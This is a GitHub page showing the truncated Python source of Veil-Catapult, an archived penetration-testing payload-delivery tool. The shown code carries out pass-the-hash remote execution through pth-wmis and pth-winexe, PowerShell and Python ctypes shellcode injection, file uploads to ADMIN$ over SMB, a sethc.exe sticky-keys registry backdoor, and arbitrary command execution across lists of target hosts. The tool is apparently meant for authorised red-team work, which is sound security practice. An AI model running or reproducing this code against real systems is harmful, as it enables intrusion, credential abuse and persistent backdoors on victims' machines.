This repository has been archived by the owner on Jan 10, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 32
/
Veil-Catapult.py
executable file
·1435 lines (1138 loc) · 55.1 KB
/
Veil-Catapult.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python
"""
Veil-Catapult 1.1
By: @harmj0y
Payload delivery tool and a part of the [Veil-Framework](www.veil-framework.com).
"""
import argparse, sys, re, os, threading, signal, readline, commands
import subprocess, time, base64, datetime, ConfigParser
veil_evasion_installed = True
# check for the Impacket installation
try:
from impacket import smbserver
from impacket.smbconnection import *
except ImportError:
print "\n"
print "\n [!] Impacket not installed"
print "\n [*] Executing ./setup.sh"
time.sleep(2)
os.system('./setup.sh')
time.sleep(2)
# check for passing-the-hash (pth-wmis/pth-winexe)
out = commands.getoutput("pth-wmis")
if "not found" in out:
print "\n"
print "\n [!] passing-the-hash not installed"
print '\n [*] Executing ./setup.sh'
time.sleep(2)
os.system('./setup.sh')
time.sleep(2)
# try to find and import the Veil-Framework master settings.py config file
if os.path.exists("/etc/veil/settings.py"):
try:
sys.path.append("/etc/veil/")
import settings
# append this so we can do relative imports of packages
try:
sys.path.append(settings.VEIL_EVASION_PATH)
except AttributeError:
print "\n [*] Executing ./setup.sh"
os.system('./setup.sh')
# Veil-Evasion imports
from modules.common import controller
from modules.common import supportfiles
from modules.common import helpers
from modules.common import completers
from modules.common import shellcode
from modules.payloads.powershell.shellcode_inject import virtual
# set a flag if Veil-Evasion isn't installed
except ImportError:
veil_evasion_installed = False
else:
# if the settings file isn't found, try to run the update script
# mark that Veil-Evasion isn't installed so we can disable
# linked functionality later
veil_evasion_installed = False
os.system('clear')
print '========================================================================='
print ' Veil First Run Detected... Initializing Script Setup...'
print '========================================================================='
time.sleep(2)
# run the config if it hasn't been run
print '\n [*] Executing ./setup.sh...'
os.system('./setup.sh')
time.sleep(2)
# check for the config again and error out if it can't be found.
if os.path.exists("/etc/veil/settings.py"):
try:
sys.path.append("/etc/veil/")
import settings
# Veil-Evasion imports
sys.path.append(settings.VEIL_EVASION_PATH)
print "PATH:",settings.VEIL_EVASION_PATH
from modules.common import controller
from modules.common import supportfiles
from modules.common import helpers
from modules.common import completers
from modules.common import shellcode
from modules.payloads.powershell.shellcode_inject import virtual
veil_evasion_installed = True
# Veil-Evasion not installed, screw it
except ImportError as e:
print "error:",e
class ThreadedSMBServer(threading.Thread):
"""
Threaded SMB server that can be spun up locally.
Hosts the files in /tmp/shared/
"""
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','SERVICE')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file','/tmp/smb.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share, /tmp/shared/, as HOST\SYSTEM\
smbConfig.add_section("SYSTEM")
smbConfig.set("SYSTEM",'comment','system share')
smbConfig.set("SYSTEM",'read only','yes')
smbConfig.set("SYSTEM",'share type','0')
smbConfig.set("SYSTEM",'path',"/tmp/shared/")
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
print ' [*] setting up SMB server...'
self.smb.processConfigFile()
try:
self.smb.serve_forever()
except:
pass
def shutdown(self):
print '\n [*] killing SMB server...'
self.smb.shutdown()
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
####################################################################################
#
# Command helpers
#
####################################################################################
def runCommand(cmd):
"""
run a system command locally and return the output
"""
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.communicate()[0]
def wmisCommand(host, user, password, cmd):
"""
use wmis to execute a specific command on a host with the specified creds
utilizes pth-wmis -> "apt-get install passing-the-hash" is required
"""
wmisCMD = "pth-wmis -U '%s%%%s' //%s '%s'"%(user, password, host, cmd)
return runCommand(wmisCMD)
def winexeCommand(host, user, password, cmd, exe=False, singleCMD=False):
"""
use pth-winexe to execute a specific command on a host with the specified creds
"apt-get install passing-the-hash" is required
"""
winexeCMD = ""
if singleCMD:
winexeCMD = "pth-winexe -U '%s%%%s' --system --uninstall //%s 'cmd.exe /C %s'"%(user, password, host, cmd)
else:
# .exe's are launched with the /B background command, other commands without
if exe:
winexeCMD = "pth-winexe -U '%s%%%s' --system --uninstall //%s 'cmd.exe /C start /B %s'"%(user, password, host, cmd)
else:
winexeCMD = "pth-winexe -U '%s%%%s' --system --uninstall //%s 'cmd.exe /C start %s'"%(user, password, host, cmd)
return runCommand(winexeCMD)
def color(string, status=True, warning=False, bold=True):
"""
Change text color for the linux terminal, defaults to green.
Set "warning=True" for red.
"""
attr = []
if status:
# green
attr.append('32')
if warning:
# red
attr.append('31')
if bold:
attr.append('1')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
####################################################################################
#
# Menus
#
####################################################################################
def title():
"""
Print the tool title, with version.
"""
os.system('clear')
print "========================================================================="
print " Veil-Catapult: payload delivery system | [Version]: 1.1"
print '========================================================================='
print ' [Web]: https://www.veil-framework.com/ | [Twitter]: @veilframework'
print '========================================================================='
print ""
# print a warning if Veil-Evasion is not installed
if not veil_evasion_installed:
print color(" [!] Warning: install Veil-Evasion for full functionality\n", warning=True)
if settings.OPERATING_SYSTEM != "Kali":
print color("\n[!] Warning: only x86 Kali linux is currently supported", warning=True)
print color("[!] Continue at your own risk!\n", warning=True)
# check to make sure the current OS is supported,
# print a warning message if it's not and exit
if settings.OPERATING_SYSTEM == "Windows" or settings.OPERATING_SYSTEM == "Unsupported":
print color("\n[!] ERROR: your operating system is not current supported\n", warning=True)
sys.exit()
def mainMenu(args):
"""
Main/initial interaction menu.
"""
commands = [ ("1)", "Standalone payloads"),
("2)" , "EXE delivery"),
("3)" , "Cleanup"),
("4)" , "Exit") ]
choice = ""
while choice == "":
title()
print " Main Menu\n"
print " Available options:\n"
for (cmd, desc) in commands:
print "\t%s\t%s" % ('{0: <4}'.format(cmd), desc)
choice = raw_input("\n [>] Please enter a choice: ")
if choice == "1":
standaloneMenu(args)
elif choice == "2":
exeDeliveryMenu(args)
elif choice == "3":
cleanupMenu()
elif choice == "4":
raise KeyboardInterrupt
else:
choice = ""
def standaloneMenu(args):
"""
Menu to handle the selection of a standalone/non-exe payloads.
"""
commands = [ ("1)" , "Powershell injector"),
("2)" , "Barebones python injector"),
("3)" , "Sethc backdoor"),
("4)" , "Execute custom command"),
("5)" , "Back") ]
choice = ""
while choice == "":
title()
print " Standalone payloads\n"
print " Available options:\n"
for (cmd, desc) in commands:
print "\t%s\t%s" % ('{0: <4}'.format(cmd), desc)
choice = raw_input("\n [>] Please enter a choice: ")
if choice == "1":
powershellMenu(args)
elif choice == "2":
pythonMenu(args)
elif choice == "3":
sethcBackdoorMenu(args)
elif choice == "4":
customCommandMenu(args)
elif choice == "5":
mainMenu(args)
else:
choice = ""
def invokeMethodMenu(args):
"""
Short menu that allows for choosing the invocation method.
Right now just pth-wmis and pth-winexe.
"""
if args.wmis:
return "wmis"
elif args.winexe:
return "winexe"
else:
choice = raw_input(" [>] Use pth-[wmis] (default) or pth-[winexe]? ")
if "winexe" in choice.lower():
return "winexe"
else:
return "wmis"
def targetMenu(args):
"""
Menu for choosing target and username/creds options.
Used by various other methods/menus.
Returns: (targets, creds)
"""
targets = []
creds = ["",""]
# grab target/target list information if we didn't get anything passed
# on the command line by argument
if not args.tL and not args.t:
choice = ""
while choice == "":
try:
comp = completers.PathCompleter()
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(comp.complete)
except NameError: pass
choice = raw_input(" [>] Enter a target IP or target list: ")
if choice == "": continue # if nothing is specified, loop
# if we want to exit this menu with 'back', return an empty options
if choice.lower() == "back": return None
# check if the host given is an IP (otherwise assume it's a target list
if re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', choice):
targets.append(choice)
else:
try:
t = open(choice).readlines()
t = [x.strip() for x in t if x.strip() != ""]
targets += t
# likely a file that doesn't exist or something
except:
print color(" [!] Error reading file: " + choice, warning=True)
# set targets if we received command line arguments
if args.t:
targets.append(args.t)
# target list
if args.tL:
try:
t = open(args.tL).readlines()
t = [x.strip() for x in t if x.strip() != ""]
targets += t
except:
print color(" [!] Error reading file: " + choice, warning=True)
# if we got a hashdump style cred file passed
if args.cF:
if os.path.exists(args.cF):
try:
f = open(args.cF)
line = f.readlines()[0].strip()
f.close()
except:
print color(" [!] Error reading file: " + choice, warning=True)
parts = [x for x in line.split(":") if x != ""]
if len(parts) == 4:
args.U = parts[0]
args.P = parts[2] + ":" + parts[3]
else:
print color(" [!] Warning: invalid pwdump file passed as an argument", warning=True)
else:
print color(" [!] Warning: file %s does not exist" %(args.cF), warning=True)
# make sure we have a username and password/hash
if not args.U:
choice = ""
while choice == "":
choice = raw_input(" [>] Enter a [domain/]username or credump file: ")
if choice == "": continue # if nothing is specified, loop
if os.path.exists(choice):
f = open(choice)
line = f.readlines()[0].strip()
f.close()
parts = [x for x in line.split(":") if x != ""]
if len(parts) == 4:
args.U = parts[0]
args.P = parts[2] + ":" + parts[3]
else:
print color(" [!] Warning: invalid pwdump file", warning=True)
continue
else:
# if it's not a file, assume it's a user
creds[0] = choice
else:
creds[0] = args.U
if not args.P:
choice = ""
while choice == "":
choice = raw_input(" [>] Enter a password or LM:NTLM hash: ")
if choice == "": continue # if nothing is specified, loop
creds[1] = choice
else:
creds[1] = args.P
return (targets, creds)
def exeDeliveryMenu(args):
"""
Menu for EXE delivery.
Will take a path to a custom .exe or invoke Veil-Evasion.
"""
title()
print " EXE delivery\n"
payloadPath = ""
# if we're using a custom payload, set it
if args.exe:
payloadPath = args.exe
# otherwise, ask for user input
else:
choice = ""
# if no payload specified on the command line, prompt the user
if not args.p:
try:
comp = completers.PathCompleter()
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(comp.complete)
except NameError: pass
choice = raw_input(" [>] Enter EXE path, or [enter] to use Veil-Evasion: ")
if choice != "":
payloadPath = choice
else:
# print a warning and exit if Veil-Evasion is not installed
if not veil_evasion_installed:
print color("\n [!] Warning: Veil-Evasion required for this functionality", warning=True)
print color(" [!] see https://github.com/Veil-Framework/\n", warning=True)
sys.exit()
# instantiate the main Veil-Evasion controller object so we can use its menus
con = controller.Controller()
options = {}
if args.p:
if args.msfpayload:
options['msfpayload'] = [args.msfpayload, args.msfoptions]
if args.c:
options['required_options'] = {}
for option in args.c:
name,value = option.split("=")
options['required_options'][name] = [value, ""]
con.SetPayload(args.p, options)
code = con.GeneratePayload()
payloadPath = con.OutputMenu(con.payload, code, showTitle=False, interactive=False, OutputBaseChoice="process")
# if we're using the full interactive menu for Veil-Evasion
else:
payloadPath = con.MainMenu()
# if we see the setting to spawn the handler for this payload
if settings.SPAWN_CATAPULT_HANDLER.lower() == "true":
# build the path to what the handler should be and
handlerPath = settings.HANDLER_PATH + payloadPath.split(".")[0].split("/")[-1] + "_handler.rc"
cmd = "gnome-terminal --tab -t \"Veil-Evasion Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\""
# invoke msfconsole with the handler script in a new tab
os.system(cmd)
if payloadPath == "":
mainMenu(args)
title()
print " EXE delivery\n"
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
# check if we got the trigger method passed by command line
choice = args.act
if not choice:
title()
print " EXE delivery\n"
print " [>] Would you like to [h]ost the .exe or [u]pload it (default)? "
choice = raw_input(color(" [>] Warning: python payloads MUST be uploaded! : ", warning=True))
if choice == "" or choice.lower().strip()[0] == "u":
# prompt for triggering unless specified not to
if not args.nc:
raw_input("\n [>] Press enter to launch: ")
# actually do the upload and triggering of the payload
uploadTrigger(payloadPath, triggerMethod, targets, username, password)
else:
# if we're hosting the payload and psexec'ing the remote network path
localHost = ""
if args.lip:
localHost = args.lip
while localHost == "":
try:
comp = completers.IPCompleter()
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(comp.complete)
except NameError: pass
localHost = raw_input("\n [>] Please enter local IP, [tab] for eth0: ")
if localHost == "": continue # if nothing is specified, loop
# prompt for triggering unless specified not to
if not args.nc:
raw_input("\n [>] Press enter to launch: ")
hostTrigger(payloadPath, triggerMethod, targets, username, password, localHost)
def cleanupMenu():
"""
Menu for running a cleanup script.
"""
title()
print " Cleanup\n"
try:
comp = completers.PathCompleter()
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(comp.complete)
except NameError: pass
script = ""
while script == "":
script = raw_input(" [>] Please enter a cleanup .rc script: ")
if script == "": continue
cleanup(script)
###############################################################
#
# Self-contained payload menus
#
###############################################################
def powershellMenu(args):
"""
Builds a powershell injector payload and then delivers it
with pth-wmis or pth-winexe.
"""
title()
print color(" Powershell shellcode injector\n")
# print a warning and exit if Veil-Evasion is not installed
if not veil_evasion_installed:
print color(" [!] Warning: Veil-Evasion required for this functionality", warning=True)
print color(" [!] see https://github.com/Veil-Framework/\n", warning=True)
sys.exit()
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
p = virtual.Payload()
# pull out any msfpayload payloads/options
if args.msfpayload:
p.shellcode.SetPayload([args.msfpayload, args.msfoptions])
# set custom shellcode if specified
elif args.custshell:
p.shellcode.setCustomShellcode(args.custshell)
# generate the powershell payload
code = p.generate()
title()
print color(" Powershell shellcode injector\n")
# prompt for triggering unless specified not to
if not args.nc:
raw_input(" [>] Press enter to launch: ")
print ""
# for each target, execute the powershell command using the invocation method
for target in targets:
print " [*] Triggering powershell injector on %s" %(target)
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + code)
else:
out = winexeCommand(target, username, password, code)
# make sure the wmis/winexe command was successful as best we can
if out:
if triggerMethod == "wmis":
if "Success" not in out:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
print color("\n [*] Powershell delivery complete!\n")
def pythonMenu(args):
"""
Uploads a python bare installation in a zip, along with an trusted "7za.exe"
Then issues two pth-wmis/pth-winexe commands: one to unzip the python install,
and a second to invoke the python interpreter with a command line script specification.
End result: only trusted binaries hit disk, no services are created,
and whatever shellcode you want is injected : )
Concept originally found at http://r00tsec.blogspot.com/2011/10/python-one-line-shellcode.html
"""
title()
print color(" Python barebones shellcode injector\n")
# print a warning and exit if Veil-Evasion is not installed
if not veil_evasion_installed:
print color(" [!] Warning: Veil-Evasion required for this functionality", warning=True)
print color(" [!] see https://github.com/Veil-Framework/\n", warning=True)
sys.exit()
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
smb_domain, smb_username = "", ""
# if username = domain/username, extract the domain
# used for smb,.login()
if len(username.split("/")) == 2:
smb_domain, smb_username = username.split("/")
else:
# if no domain, keep the username the same
smb_username = username
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
# nab up some shellcode
sc = shellcode.Shellcode()
# set the payload to use, if specified
if args.msfpayload:
sc.SetPayload([args.msfpayload, args.msfoptions])
# set custom shellcode if specified
elif args.custshell:
sc.setCustomShellcode(args.custshell)
# base64 our shellcode
b64sc = base64.b64encode(sc.generate().decode("string_escape"))
title()
print color(" Python barebones shellcode injector\n")
# prompt for triggering unless specified not to
if not args.nc:
raw_input(" [>] Press enter to launch: ")
for target in targets:
print ""
# try to login to the target over SMB
try:
smb = SMBConnection('*SMBSERVER', target, timeout=3)
if re.match(r'[0-9A-Za-z]{32}:[0-9A-Za-z]{32}', password):
lm,nt = password.split(":")
smb.login(smb_username, None, lmhash=lm, nthash=nt, domain=smb_domain)
else:
smb.login(smb_username, password, domain=smb_domain)
# error handling
except Exception as e:
if "timed out" in str(e).lower():
print color(" [!] Target %s not reachable" %(target), warning=True)
elif "connection refused" in str(e).lower():
print color(" [!] Target %s reachable but connection refused" %(target), warning=True)
elif "STATUS_LOGON_FAILURE" in str(e):
print color(" [!] SMB logon failure on %s (likely bad credentials)" %(target), warning=True)
else:
print color(" [!] Misc error logging into %s" %(target), warning=True)
continue # skip to the next target
try:
# reset the default timeout
#socket.setdefaulttimeout(defaultTimeout)
# upload the bare bones python install to
f = open("./includes/python.zip")
smb.putFile("ADMIN$", "\\Temp\\python.zip", f.read)
f.close()
# upload the trusted 7za program
f = open("./includes/7za.exe")
smb.putFile("ADMIN$", "\\Temp\\7za.exe", f.read)
f.close()
print color(" [*] python install successfully uploaded to " + target)
# close out the smb connection
smb.logoff()
except Exception as e:
#print " Exception:",e
if "The NETBIOS connection with the remote host timed out" in str(e):
print color(" [!] The NETBIOS connection with %s timed out" %(target), warning=True)
else:
print color(" [!] SMB file upload unsuccessful on %s" %(target), warning=True)
continue
# the command to unzip the python environment
unzipCommand = "C:\\\\Windows\\\\Temp\\\\7za.exe x -y -oC:\\\\Windows\\\\Temp\\\\ C:\\\\Windows\\\\Temp\\\\python.zip"
# our python 1-liner shellcode injection command
pythonCMD = "C:\\\\Windows\\\\Temp\\\\python\\\\python.exe -c \"from ctypes import *;a=\\\"%s\\\".decode(\\\"base_64\\\");cast(create_string_buffer(a,len(a)),CFUNCTYPE(c_void_p))()\"" %(b64sc)
time.sleep(1)
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + unzipCommand)
else:
out = winexeCommand(target, username, password, unzipCommand)
# make sure the wmis/winexe command was successful as best we can
success = True
if out:
if triggerMethod == "wmis":
if "Success" not in out:
success = False
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
success = False
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
success = False
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
success = False
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
# if the unzip command is successful, continue to the second command for invocation
if success:
time.sleep(2)
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + pythonCMD)
else:
out = winexeCommand(target, username, password, pythonCMD)
# make sure the wmis/winexe command was successful as best we can
if out:
if triggerMethod == "wmis":
if "Success" not in out:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
print color(" [*] python injector triggered on " + target)
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [*] python injector triggered on " + target)
print color("\n [*] Python injection complete!\n")
def sethcBackdoorMenu(args):
"""
Sets up a sticky-keys backdoor on a specified host using a single
reg query through pth-wmis/pth-winexe
"""
title()
print color(" Sethc.exe sticky-keys backdoor\n")
cleanup = ""
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
# prompt for triggering unless specified not to
if not args.nc:
raw_input(" [>] Press enter to launch: ")
title()
print color(" Sethc.exe sticky-keys backdoor\n")
# the registry command to set up the sethc stickkeys backdoor
sethcCommand = "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /v Debugger /t REG_SZ /d \"C:\\Windows\\System32\\cmd.exe\""
# for each target, execute the sethc.exe reg command using the invocation method
for target in targets:
print ""
print color(" [*] Installing sethc backdoor on %s" %(target))
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + sethcCommand)
else:
out = winexeCommand(target, username, password, sethcCommand)
# make sure the wmis/winexe command was successful as best we can
if out:
if triggerMethod == "wmis":
if "Success" not in out:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
cleanup += target + " " + creds[0] + " " + creds[1] + " SETHC wmis\n"
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
cleanup += target + " " + creds[0] + " " + creds[1] + " SETHC winexe\n"
# only write out our cleanup script if there were some results
if cleanup != "":
cleanupFileNameBase = datetime.datetime.fromtimestamp(time.time()).strftime('%m.%d.%Y.%H%M%S') + ".rc"
cleanupFileName = os.path.join(settings.CATAPULT_RESOURCE_PATH, cleanupFileNameBase)
cleanupFile = open(cleanupFileName, 'w')
cleanupFile.write(cleanup)
cleanupFile.close()
print "\n [*] Cleanup script written to " + cleanupFileNameBase
print " [*] run with \"./Veil-Catapult.py -r " + cleanupFileName + "\"\n"
print color("\n [*] Sethc backdoor injection complete!\n")
def customCommandMenu(args):
"""
Executes a custom pth-wmis or pth-winexe command.
"""
title()
print color(" Custom command execution\n")
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
cmdChoice = ""
while cmdChoice == "":
cmdChoice = raw_input(" [>] Enter a command to execute: ")
# prompt for triggering unless specified not to
if not args.nc:
raw_input("\n [>] Press enter to launch: ")
title()
print color(" Custom command execution\n")
# for each target, execute the powershell command using the invocation method
for target in targets:
print ""
print color(" [*] Executing command on %s" %(target))
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + cmdChoice)
else:
out = winexeCommand(target, username, password, cmdChoice, singleCMD=True)
# make sure the wmis/winexe command was successful as best we can
if out:
if triggerMethod == "wmis":
if "Success" not in out:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out: